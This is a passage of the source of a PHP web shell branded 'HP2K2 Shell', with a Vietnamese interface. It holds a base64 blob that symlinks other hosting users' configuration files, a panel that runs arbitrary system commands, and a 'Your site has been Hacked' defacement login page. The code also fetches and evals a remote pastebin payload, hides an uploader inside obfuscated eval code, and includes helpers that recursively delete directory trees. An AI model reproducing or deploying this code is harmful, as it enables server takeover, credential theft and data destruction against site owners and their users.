dXJhdGlvbi5waHAiLCJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudC9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJiaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiwiYWRtaW4vY29uZmlnLnBocCIpOwoJCWZvcmVhY2goJHVzciBhcyAkdXNzICkKCQl7CgkJCSR1cz10cmltKCR1c3MpOwoJCQkJCQkKCQkJZm9yZWFjaCgkY29uZmlndXJhdGlvbiBhcyAkYykKCQkJewoJCQkgJHJzPSIvaG9tZS8iLiR1cy4iL3B1YmxpY19odG1sLyIuJGM7CgkJCSAkcj0ic3ltLyIuJHVzLiIgLi4gIi4kYzsKCQkJIHN5bWxpbmsoJHJzLCRyKTsKCQkJCgkJfQoJCQkKCQkJfQoJCQoJCQoJCX0KCQoJCgkKCT8+CjwvY2VudGVyPgk=
  1635. ';
  1636.     $file       = fopen("symroot.php", "w+");
  1637.     $write      = fwrite($file, base64_decode($perltoolss));
  1638.     fclose($file);
  1639.     echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
  1640. }
  1641. if ($action == 'shell') {
  1642.     if (IS_WIN && IS_COM) {
  1643.         if ($program && $parameter) {
  1644.             $shell = new COM('Shell.Application');
  1645.             $a     = $shell->ShellExecute($program, $parameter);
  1646.             m('Program run has ' . (!$a ? 'success' : 'fail'));
  1647.         }
  1648.         !$program && $program = 'c:\indows\ystem32\md.exe';
  1649.         !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
  1650.         formhead(array(
  1651.             'title' => 'Execute Program'
  1652.         ));
  1653.         makehide('action', 'shell');
  1654.         makeinput(array(
  1655.             'title' => 'Program',
  1656.             'name' => 'program',
  1657.             'value' => $program,
  1658.             'newline' => 1
  1659.         ));
  1660.         p('<p>');
  1661.         makeinput(array(
  1662.             'title' => 'Parameter',
  1663.             'name' => 'parameter',
  1664.             'value' => $parameter
  1665.         ));
  1666.         makeinput(array(
  1667.             'name' => 'submit',
  1668.             'class' => 'bt',
  1669.             'type' => 'submit',
  1670.             'value' => 'Execute'
  1671.         ));
  1672.         p('</p>');
  1673.         formfoot();
  1674.     }
  1675.     formhead(array(
  1676.         'title' => 'L&#7879;nh Th&#7921;c Hi&#7879;n'
  1677.     ));
  1678.     makehide('action', 'shell');
  1679.     if (IS_WIN && IS_COM) {
  1680.         $execfuncdb = array(
  1681.             'phpfunc' => 'phpfunc',
  1682.             'wscript' => 'wscript',
  1683.             'proc_open' => 'proc_open'
  1684.         );
  1685.         makeselect(array(
  1686.             'title' => 'Use:',
  1687.             'name' => 'execfunc',
  1688.             'option' => $execfuncdb,
  1689.             'selected' => $execfunc,
  1690.             'newline' => 1
  1691.         ));
  1692.     }
  1693.     p('<p>');
  1694.     makeinput(array(
  1695.         'title' => 'Command',
  1696.         'name' => 'command',
  1697.         'value' => $command
  1698.     ));
  1699.     makeinput(array(
  1700.         'name' => 'submit',
  1701.         'class' => 'bt',
  1702.         'type' => 'submit',
  1703.         'value' => 'Execute'
  1704.     ));
  1705.     p('</p>');
  1706.     formfoot();
  1707.     if ($command) {
  1708.         p('<hr width="100%" noshade /><pre>');
  1709.         if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
  1710.             $wsh       = new COM('WScript.shell');
  1711.             $exec      = $wsh->exec('cmd.exe /c ' . $command);
  1712.             $stdout    = $exec->StdOut();
  1713.             $stroutput = $stdout->ReadAll();
  1714.             echo $stroutput;
  1715.         } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
  1716.             $descriptorspec = array(
  1717.                 0 => array(
  1718.                     'pipe',
  1719.                     'r'
  1720.                 ),
  1721.                 1 => array(
  1722.                     'pipe',
  1723.                     'w'
  1724.                 ),
  1725.                 2 => array(
  1726.                     'pipe',
  1727.                     'w'
  1728.                 )
  1729.             );
  1730.             $process        = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1731.             if (is_resource($process)) {
  1732.                 fwrite($pipes[0], $command . "
  1733. ");
  1734.                 fwrite($pipes[0], "exit
  1735. ");
  1736.                 fclose($pipes[0]);
  1737.                 while (!feof($pipes[1])) {
  1738.                     echo fgets($pipes[1], 1024);
  1739.                 }
  1740.                 fclose($pipes[1]);
  1741.                 while (!feof($pipes[2])) {
  1742.                     echo fgets($pipes[2], 1024);
  1743.                 }
  1744.                 fclose($pipes[2]);
  1745.                 proc_close($process);
  1746.             }
  1747.         } else {
  1748.             echo (execute($command));
  1749.         }
  1750.         p('</pre>');
  1751.     }
  1752. }
  1753. ?></td></tr></table>
  1754. <html>
  1755. <body>
  1756. <form method="POST" action="?Joker=MD5">
  1757. <input type="text" name="text_md5" value="<?echo $_POST['text_md5'];?>" size="25" placeholder="MD5 By: HP2K2">
  1758. <select size="1" name="solan">
  1759.     <option selected value="1">-</option>
  1760.     <? if (isset($_GET['Joker']))
  1761.         {
  1762.             $ketqua=$_POST['text_md5'];
  1763.             $solan=$_POST['solan'];
  1764.                     }
  1765.     ?>
  1766. </select>
  1767. <input type="submit" value="M&#227; H&#243;a MD5" name="B1">
  1768. </form>
  1769. <?php
  1770. if (isset($_GET['Joker']))
  1771.     {
  1772.         for ($i=1;$i<=$solan;$i++)
  1773.             $ketqua=md5($ketqua);
  1774.         echo "<b>K&#7871;t Qu&#7843;: $ketqua | ";
  1775.     }
  1776. ?>
  1777. </body></html>
  1778. <a href="http://whois.domaintools.com/" target="_blank"><b>Check Info Web Site</b></a> | Copyright @ 2015 Shell <a href=https://www.facebook.com/ target=_blank><B>HP2K2</B></a><span style="float:right;">
  1779. <?php
  1780. debuginfo();
  1781. ob_end_flush();
  1782. ?></span></div></body></html><html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
  1783. <script src="http://imagevn.hol.es/shell/Marion001.js" type="text/javascript"></script><style type="text/css"></style>
  1784. <style type="text/css">.cf-hidden { display: none; } .cf-invisible { visibility: hidden; }</style><style type="text/css"></style></head><body><table cellspacing="0" cellpadding="0"><tbody><tr><td id="sid_content">
  1785. <form id="program" action="javascript:location.href;void 0" onsubmit="return submitHndlr()"><div>
  1786. <textarea id="input" rows="12" cols="50" style="width: 970px; margin: 2px 0px; height: 25px;" placeholder="D&#225;n Code HTML C&#7847;n M&#227; H&#243;a V&#224;o &#272;&#226;y https://www.facebook.com/"></textarea></div>  
  1787. <input type="submit" value="M&#227; H&#243;a HTML">
  1788. <input type="reset" id="reset" disabled="disabled" onclick="resetHndlr()"></div>
  1789. <input id="select" disabled="disabled" type="button" value="B&#244;i &#272;en To&#224;n B&#7897; HTML M&#227; H&#243;a" onclick="eOut.select()"><div>
  1790. <textarea id="output" disabled="disabled" rows="12" cols="50" style="width: 970px; margin: 2px 0px; height: 25px;" placeholder="K&#7871;t Qu&#7843; M&#227; H&#243;a https://www.facebook.com/"></textarea>
  1791. </div></div></form></td></tr></tbody></table><script type="text/javascript">
  1792. //<![CDATA[
  1793. try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:0,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok8v=02fcfa4f56/"},atok:"c4f3055d5b2c3de27a37ce0e93deffbc",petok:"f7537ace3fdfab5b49a71efde87cfedb8f488c2e-1394894541-1800",zone:"joker-tools.bl.ee",rocket:"0",apps:{}}];CloudFlare.push({"apps":{"ape":"b47959da087cc6dde89fb1c1f00a4cd8"}});var a=document.createElement("script"),b=document.getElementsByTagName("script")[0];a.async=!0;a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok8v=b064e16429/cloudflare.min.js";b.parentNode.insertBefore(a,b);}}catch(e){};
  1794. //]]></script>
  1795. <script type="text/javascript">
  1796. //<![CDATA[
  1797. try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:0,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok8v=02fcfa4f56/"},atok:"c4f3055d5b2c3de27a37ce0e93deffbc",petok:"575dc75aae571b9a1d3426026e2562408a2d68a1-1394894561-1800",zone:"joker-tools.bl.ee",rocket:"0",apps:{}}];CloudFlare.push({"apps":{"ape":"a652abc9e20cf6d9cdd1d19b5c14c069"}});var a=document.createElement("script"),b=document.getElementsByTagName("script")[0];a.async=!0;a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok8v=b064e16429/cloudflare.min.js";b.parentNode.insertBefore(a,b);}}catch(e){};
  1798. //]]></script></body></html>
  1799. <script>
  1800. var Base64 = {
  1801. _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  1802. encode : function (input) {
  1803. var output = "";
  1804. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  1805. var i = 0;
  1806. input = Base64._utf8_encode(input);
  1807. while (i < input.length) {
  1808. chr1 = input.charCodeAt(i++);
  1809. chr2 = input.charCodeAt(i++);
  1810. chr3 = input.charCodeAt(i++);
  1811. enc1 = chr1 >> 2;
  1812. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  1813. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  1814. enc4 = chr3 & 63;
  1815. if (isNaN(chr2)) {
  1816. enc3 = enc4 = 64;
  1817. } else if (isNaN(chr3)) {
  1818. enc4 = 64;
  1819. }
  1820. output = output +
  1821. this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
  1822. this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
  1823. }
  1824. return output;
  1825. },
  1826. decode : function (input) {
  1827. var output = "";
  1828. var chr1, chr2, chr3;
  1829. var enc1, enc2, enc3, enc4;
  1830. var i = 0;
  1831. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  1832. while (i < input.length) {
  1833. enc1 = this._keyStr.indexOf(input.charAt(i++));
  1834. enc2 = this._keyStr.indexOf(input.charAt(i++));
  1835. enc3 = this._keyStr.indexOf(input.charAt(i++));
  1836. enc4 = this._keyStr.indexOf(input.charAt(i++));
  1837. chr1 = (enc1 << 2) | (enc2 >> 4);
  1838. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  1839. chr3 = ((enc3 & 3) << 6) | enc4;
  1840. output = output + String.fromCharCode(chr1);
  1841. if (enc3 != 64) {
  1842. output = output + String.fromCharCode(chr2);
  1843. }
  1844. if (enc4 != 64) {
  1845. output = output + String.fromCharCode(chr3);
  1846. }
  1847. }
  1848. output = Base64._utf8_decode(output);
  1849. return output;
  1850. },
  1851. _utf8_encode : function (string) {
  1852. string = string.replace(/\r\n/g,"\n");
  1853. var utftext = "";
  1854. for (var n = 0; n < string.length; n++) {
  1855. var c = string.charCodeAt(n);
  1856. if (c < 128) {
  1857. utftext += String.fromCharCode(c);
  1858. }
  1859. else if((c > 127) && (c < 2048)) {
  1860. utftext += String.fromCharCode((c >> 6) | 192);
  1861. utftext += String.fromCharCode((c & 63) | 128);
  1862. }
  1863. else {
  1864. utftext += String.fromCharCode((c >> 12) | 224);
  1865. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  1866. utftext += String.fromCharCode((c & 63) | 128);
  1867. }
  1868. }
  1869. return utftext;
  1870. },
  1871. _utf8_decode : function (utftext) {
  1872. var string = "";
  1873. var i = 0;
  1874. var c = c1 = c2 = 0;
  1875. while ( i < utftext.length ) {
  1876. c = utftext.charCodeAt(i);
  1877. if (c < 128) {
  1878. string += String.fromCharCode(c);
  1879. i++;
  1880. }
  1881. else if((c > 191) && (c < 224)) {
  1882. c2 = utftext.charCodeAt(i+1);
  1883. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  1884. i += 2;
  1885. }
  1886. else {
  1887. c2 = utftext.charCodeAt(i+1);
  1888. c3 = utftext.charCodeAt(i+2);
  1889. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  1890. i += 3;
  1891. }
  1892.  }
  1893.  return string;
  1894. }
  1895. }
  1896. function encrypt()
  1897. {
  1898. document.getElementById('resulttext').innerHTML='K&#7871;t Qu&#7843; M&#227; H&#243;a:';
  1899. document.sinhvienit.T2.value=Base64.encode(document.sinhvienit.T1.value);
  1900. return false;
  1901. }
  1902. function decrypt()
  1903. {
  1904. document.getElementById('resulttext').innerHTML='K&#7871;t Qu&#7843; Gi&#7843;i M&#227;:';
  1905. document.sinhvienit.T2.value=Base64.decode(document.sinhvienit.T1.value);
  1906. return false;
  1907. }
  1908. </script><form method="POST" name="sinhvienit" onsubmit="return encrypt();" style="width:610px;">
  1909. <textarea name="T1" onchange="encrypt()" class="textarea" placeholder="D&#225;n N&#7897;i Dung C&#7847;n M&#227; H&#243;a, Gi&#7843;i M&#227; Base64" style="margin: 2px; width: 970px; height: 35px;"></textarea>
  1910. <div id="resulttext" style="font-weight:bold"></div>    
  1911. <textarea name="T2" onchange="encrypt()" class="textarea" placeholder="K&#7871;t Qu&#7843; M&#227; H&#243;a, Gi&#7843;i M&#195; Base64" style="margin: 2px; width: 970px; height: 35px;"></textarea>    
  1912. <input type="button" value="M&#227; H&#243;a Base64" class="button" onclick="encrypt()">
  1913. <input type="button" value="Gi&#7843;i M&#227; Base64" class="button" onclick="decrypt()">
  1914. </form><div class="clear"></div></div></div><?php $reseverip = file_get_contents('http://pastebin.com/raw.php?i=2qSqPLRY');
  1915. eval(base64_decode($reseverip)); ?><span style="float:right;"><b><a href="#top">L&#234;n Tr&#234;n</a></b></span>
  1916. <?php
  1917. function m($msg)
  1918. {
  1919.     echo '<div style="background:;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1920.     echo $msg;
  1921.     echo '</div>';
  1922. }
  1923. function scookie($key, $value, $life = 0, $prefix = 1)
  1924. {
  1925.     global $admin, $timestamp, $_SERVER;
  1926.     $key     = ($prefix ? $admin['cookiepre'] : '') . $key;
  1927.     $life    = $life ? $life : $admin['cookielife'];
  1928.     $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1929.     setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1930. }
  1931. function multi($num, $perpage, $curpage, $tablename)
  1932. {
  1933.     $multipage = '';
  1934.     if ($num > $perpage) {
  1935.         $page   = 10;
  1936.         $offset = 5;
  1937.         $pages  = @ceil($num / $perpage);
  1938.         if ($page > $pages) {
  1939.             $from = 1;
  1940.             $to   = $pages;
  1941.         } else {
  1942.             $from = $curpage - $offset;
  1943.             $to   = $curpage + $page - $offset - 1;
  1944.             if ($from < 1) {
  1945.                 $to   = $curpage + 1 - $from;
  1946.                 $from = 1;
  1947.                 if (($to - $from) < $page && ($to - $from) < $pages) {
  1948.                     $to = $page;
  1949.                 }
  1950.             } elseif ($to > $pages) {
  1951.                 $from = $curpage - $pages + $to;
  1952.                 $to   = $pages;
  1953.                 if (($to - $from) < $page && ($to - $from) < $pages) {
  1954.                     $from = $pages - $page + 1;
  1955.                 }
  1956.             }
  1957.         }
  1958.         $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
  1959.         for ($i = $from; $i <= $to; $i++) {
  1960.             $multipage .= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
  1961.         }
  1962.         $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
  1963.         $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
  1964.     }
  1965.     return $multipage;
  1966. }
  1967. function loginmarion()
  1968. {
  1969. ?>
  1970. <!DOCTYPE html>
  1971. <html lang="en" class="no-js">
  1972.  
  1973.     <head>
  1974.  
  1975.         <meta charset="utf-8">
  1976.         <title>...::HP2K2 Shell::...</title>
  1977.         <meta name="viewport" content="width=device-width, initial-scale=1.0">
  1978.         <meta name="description" content="HP2K2">
  1979.         <meta name="author" content="HP2K2">
  1980.  
  1981.         <!-- CSS -->
  1982.         <link rel='stylesheet' href='http://fonts.googleapis.com/css?family=PT+Sans:400,700'>
  1983.         <link rel="stylesheet" href="https://googledrive.com/host/0BxH_xq648KQKV0g5a3g4X214OWc">
  1984.         <link rel="stylesheet" href="https://googledrive.com/host/0BxH_xq648KQKQWpCWlBiNXZseTA">
  1985.  
  1986.  
  1987.     </head>
  1988.  
  1989.     <body>
  1990.  
  1991.         <div class="page-container">
  1992. <img style="height:250px;" src="http://i.imgur.com/aSKtdkl.png">
  1993. <object width="300" height="308">  <param name="movie" value="http://www.nhaccuatui.com/m/UrMmYYD3P6BM" />  <param name="quality" value="high" />  <param name="wmode" value="transparent" />  <param name="allowscriptaccess" value="always" />  <param name="flashvars" value="autostart=true" />  <embed src="http://www.nhaccuatui.com/m/UrMmYYD3P6BM" flashvars="target=blank&autostart=true" allowscriptaccess="always" quality="high" wmode="transparent" type="application/x-shockwave-flash" width="1" height="1"></embed></object>
  1994. </br></br></br></br>
  1995.         <font size="5" color='#13FF00' style="font-weight:bold; font-family: Courier New;">Your site has been Hacked By <font size="5" color='red' style="font-weight:bold; font-family: Courier New;">HP2K2!<br></font><br></font>
  1996.             <form action="" method="post">                
  1997.                 <input name="password" type="password" size="20">
  1998.                 <input type="hidden" name="doing" value="login">
  1999.              
  2000.                 <div class="error"></div>
  2001.             </form>
  2002.            
  2003.         </div>
  2004.  
  2005.     </body>
  2006.  
  2007. </html>
  2008.  
  2009.  
  2010. <?php $_F=__FILE__;$_X='Pz48P3BocA0KNGYoJF9HRVRbJ3QzeTVuJ109PSd0M3k1bicpDQp7DQo1Y2gyICc8ZjJybSBtNXRoMmQ9IlBPU1QiIDVuY3R5cDU9Im0zbHQ0cDFydC9mMnJtLWQxdDEiIDFjdDQybj0iP3QzeTVuPXQzeTVuIj4NCjw0bnAzdCB0eXA1PSJmNGw1IiBuMW01PSJmNGw1XzNwbDIxZCIgczR6NT0iYTAiIDRkPSJmNGw1Ij4NCjw0bnAzdCB0eXA1PSJzM2JtNHQiIG4xbTU9ImczNCIgdjFsMzU9IlQzeSYjNzg3aTtuIiA+DQo8L2Yycm0+JzsNCjRmICg0c3M1dCgkX1BPU1RbJ2czNCddKSl7DQptMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1snZjRsNV8zcGwyMWQnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZjRsNV8zcGwyMWQnXVsnbjFtNSddKTsNCjVjaDIgIjxoNj48MSBocjVmPSckZjNsbHAxdGgnPlQmIzc4dW87NCBGNGw1IEwmI2FvdTtuIFRoJiNhYXU7bmggQyYjYXV1O25nLjwvMT48L2g2PiI7DQp9DQp9';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
  2011.  
  2012.  
  2013.  
  2014. <?php
  2015.     exit;
  2016. }
  2017. function execute($cfe)
  2018. {
  2019.     $res = '';
  2020.     if ($cfe) {
  2021.         if (function_exists('exec')) {
  2022.             @exec($cfe, $res);
  2023.             $res = join("
  2024. ", $res);
  2025.         } elseif (function_exists('shell_exec')) {
  2026.             $res = @shell_exec($cfe);
  2027.         } elseif (function_exists('system')) {
  2028.             @ob_start();
  2029.             @system($cfe);
  2030.             $res = @ob_get_contents();
  2031.             @ob_end_clean();
  2032.         } elseif (function_exists('passthru')) {
  2033.             @ob_start();
  2034.             @passthru($cfe);
  2035.             $res = @ob_get_contents();
  2036.             @ob_end_clean();
  2037.         } elseif (@is_resource($f = @popen($cfe, "r"))) {
  2038.             $res = '';
  2039.             while (!@feof($f)) {
  2040.                 $res .= @fread($f, 1024);
  2041.             }
  2042.             @pclose($f);
  2043.         }
  2044.     }
  2045.     return $res;
  2046. }
  2047. function which($pr)
  2048. {
  2049.     $path = execute("which $pr");
  2050.     return ($path ? $path : $pr);
  2051. }
  2052. function cf($fname, $text)
  2053. {
  2054.     if ($fp = @fopen($fname, 'w')) {
  2055.         @fputs($fp, @base64_decode($text));
  2056.         @fclose($fp);
  2057.     }
  2058. }
  2059. function debuginfo()
  2060. {
  2061.     global $starttime;
  2062.     $mtime     = explode(' ', microtime());
  2063.     $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  2064.     echo 'X&#7917; L&#253; Trong ' . $totaltime . ' Gi&#226;y(s)';
  2065. }
  2066. function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306')
  2067. {
  2068.     if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
  2069.         p('<h2>L&#7895;i, Kh&#244;ng Th&#7875; K&#7871;t N&#7889;i T&#7899;i M&#225;y Ch&#7911; MySQL</h2>');
  2070.         exit;
  2071.     }
  2072.     if ($link && $dbname) {
  2073.         if (!@mysql_select_db($dbname, $link)) {
  2074.             p('<h2>Database selected has error</h2>');
  2075.             exit;
  2076.         }
  2077.     }
  2078.     if ($link && mysql_get_server_info() > '4.1') {
  2079.         if (in_array(strtolower($charset), array(
  2080.             'gbk',
  2081.             'big5',
  2082.             'utf8'
  2083.         ))) {
  2084.             q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  2085.         }
  2086.     }
  2087.     return $link;
  2088. }
  2089. function s_array(&$array)
  2090. {
  2091.     if (is_array($array)) {
  2092.         foreach ($array as $k => $v) {
  2093.             $array[$k] = s_array($v);
  2094.         }
  2095.     } else if (is_string($array)) {
  2096.         $array = stripslashes($array);
  2097.     }
  2098.     return $array;
  2099. }
  2100. function html_clean($content)
  2101. {
  2102.     $content = htmlspecialchars($content);
  2103.     $content = str_replace("\n", "<br />", $content);
  2104.     $content = str_replace("  ", "&nbsp;&nbsp;", $content);
  2105.     $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  2106.     return $content;
  2107. }
  2108. function getChmod($filepath)
  2109. {
  2110.     return substr(base_convert(@fileperms($filepath), 10, 8), -4);
  2111. }
  2112. function getPerms($filepath)
  2113. {
  2114.     $mode = @fileperms($filepath);
  2115.     if (($mode & 0xC000) === 0xC000) {
  2116.         $type = 's';
  2117.     } elseif (($mode & 0x4000) === 0x4000) {
  2118.         $type = 'd';
  2119.     } elseif (($mode & 0xA000) === 0xA000) {
  2120.         $type = 'l';
  2121.     } elseif (($mode & 0x8000) === 0x8000) {
  2122.         $type = '-';
  2123.     } elseif (($mode & 0x6000) === 0x6000) {
  2124.         $type = 'b';
  2125.     } elseif (($mode & 0x2000) === 0x2000) {
  2126.         $type = 'c';
  2127.     } elseif (($mode & 0x1000) === 0x1000) {
  2128.         $type = 'p';
  2129.     } else {
  2130.         $type = '?';
  2131.     }
  2132.     $owner['read']    = ($mode & 00400) ? 'r' : '-';
  2133.     $owner['write']   = ($mode & 00200) ? 'w' : '-';
  2134.     $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  2135.     $group['read']    = ($mode & 00040) ? 'r' : '-';
  2136.     $group['write']   = ($mode & 00020) ? 'w' : '-';
  2137.     $group['execute'] = ($mode & 00010) ? 'x' : '-';
  2138.     $world['read']    = ($mode & 00004) ? 'r' : '-';
  2139.     $world['write']   = ($mode & 00002) ? 'w' : '-';
  2140.     $world['execute'] = ($mode & 00001) ? 'x' : '-';
  2141.     if ($mode & 0x800) {
  2142.         $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
  2143.     }
  2144.     if ($mode & 0x400) {
  2145.         $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
  2146.     }
  2147.     if ($mode & 0x200) {
  2148.         $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
  2149.     }
  2150.     return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
  2151. }
  2152. function getUser($filepath)
  2153. {
  2154.     if (function_exists('posix_getpwuid')) {
  2155.         $array = @posix_getpwuid(@fileowner($filepath));
  2156.         if ($array && is_array($array)) {
  2157.             return ' / <a href="#" title="User: ' . $array['name'] . '&#13&#10Passwd: ' . $array['passwd'] . '&#13&#10Uid: ' . $array['uid'] . '&#13&#10gid: ' . $array['gid'] . '&#13&#10Gecos: ' . $array['gecos'] . '&#13&#10Dir: ' . $array['dir'] . '&#13&#10Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
  2158.         }
  2159.     }
  2160.     return '';
  2161. }
  2162. function deltree($deldir)
  2163. {
  2164.     $mydir = @dir($deldir);
  2165.     while ($file = $mydir->read()) {
  2166.         if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
  2167.             @chmod($deldir . '/' . $file, 0777);
  2168.             deltree($deldir . '/' . $file);
  2169.         }
  2170.         if (is_file($deldir . '/' . $file)) {
  2171.             @chmod($deldir . '/' . $file, 0777);
  2172.             @unlink($deldir . '/' . $file);
  2173.         }
  2174.     }
  2175.     $mydir->close();
  2176.     @chmod($deldir, 0777);
  2177.     return @rmdir($deldir) ? 1 : 0;
  2178. }
  2179. function bg()
  2180. {
  2181.     global $bgc;
  2182.     return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
  2183. }
  2184. function getPath($scriptpath, $nowpath)
  2185. {
  2186.     if ($nowpath == '.') {
  2187.         $nowpath = $scriptpath;
  2188.     }
  2189.     $nowpath = str_replace('\\', '/', $nowpath);
  2190.     $nowpath = str_replace('//', '/', $nowpath);
  2191.     if (substr($nowpath, -1) != '/') {
  2192.         $nowpath = $nowpath . '/';
  2193.     }
  2194.     return $nowpath;
  2195. }
  2196. function getUpPath($nowpath)
  2197. {
  2198.     $pathdb = explode('/', $nowpath);
  2199.     $num    = count($pathdb);
  2200.     if ($num > 2) {
  2201.         unset($pathdb[$num - 1], $pathdb[$num - 2]);
  2202.     }
  2203.     $uppath = implode('/', $pathdb) . '/';
  2204.     $uppath = str_replace('//', '/', $uppath);
  2205.     return $uppath;
  2206. }
  2207. function getcfg($varname)
  2208. {
  2209.     $result = get_cfg_var($varname);
  2210.     if ($result == 0) {
  2211.         return 'No';
  2212.     } elseif ($result == 1) {
  2213.         return 'Yes';
  2214.     } else {
  2215.         return $result;
  2216.     }
  2217. }
  2218. function getfun($funName)
  2219. {
  2220.     return (false !== function_exists($funName)) ? 'Yes' : 'No';
  2221. }
  2222. function GetList($dir)
  2223. {
  2224.     global $dirdata, $j, $nowpath;
  2225.     !$j && $j = 1;
  2226.     if ($dh = opendir($dir)) {
  2227.         while ($file = readdir($dh)) {
  2228.             $f = str_replace('//', '/', $dir . '/' . $file);
  2229.             if ($file != '.' && $file != '..' && is_dir($f)) {
  2230.                 if (is_writable($f)) {
  2231.                     $dirdata[$j]['filename']    = str_replace($nowpath, '', $f);
  2232.                     $dirdata[$j]['mtime']       = @date('Y-m-d H:i:s', filemtime($f));
  2233.                     $dirdata[$j]['dirchmod']    = getChmod($f);
  2234.                     $dirdata[$j]['dirperm']     = getPerms($f);
  2235.                     $dirdata[$j]['dirlink']     = ue($dir);
  2236.                     $dirdata[$j]['server_link'] = $f;
  2237.                     $dirdata[$j]['client_link'] = ue($f);
  2238.                     $j++;
  2239.                 }
  2240.                 GetList($f);
  2241.             }
  2242.         }
  2243.         closedir($dh);
  2244.         clearstatcache();
  2245.         return $dirdata;
  2246.     } else {
  2247.         return array();
  2248.     }
  2249. }
  2250. function qy($sql)
  2251. {
  2252.     $res = $error = '';
  2253.     if (!$res = @mysql_query($sql)) {
  2254.         return 0;
  2255.     } else if (is_resource($res)) {
  2256.         return 1;
  2257.     } else {
  2258.         return 2;
  2259.     }
  2260.     return 0;
  2261. }
  2262. function q($sql)
  2263. {
  2264.     return @mysql_query($sql);
  2265. }
  2266. function fr($qy)
  2267. {
  2268.     mysql_free_result($qy);
  2269. }
  2270. function sizecount($size)
  2271. {
  2272.     if ($size > 1073741824) {
  2273.         $size = round($size / 1073741824 * 100) / 100 . ' G';
  2274.     } elseif ($size > 1048576) {
  2275.         $size = round($size / 1048576 * 100) / 100 . ' M';
  2276.     } elseif ($size > 1024) {
  2277.         $size = round($size / 1024 * 100) / 100 . ' K';
  2278.     } else {
  2279.         $size = $size . ' B';
  2280.     }
  2281.     return $size;
  2282. }
  2283. class PHPZip
  2284. {
  2285.     var $out = '';
  2286.     function PHPZip($dir)
  2287.     {
  2288.         if (@function_exists('gzcompress')) {
  2289.             $curdir = getcwd();
  2290.             if (is_array($dir))
  2291.                 $filelist = $dir;
  2292.             else {
  2293.                 $filelist = $this->GetFileList($dir);
  2294.                 foreach ($filelist as $k => $v)
  2295.                     $filelist[] = substr($v, strlen($dir) + 1);
  2296.             }
  2297.             if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir)))
  2298.                 chdir($dir);
  2299.             else
  2300.                 chdir($curdir);
  2301.             if (count($filelist) > 0) {
  2302.                 foreach ($filelist as $filename) {
  2303.                     if (is_file($filename)) {
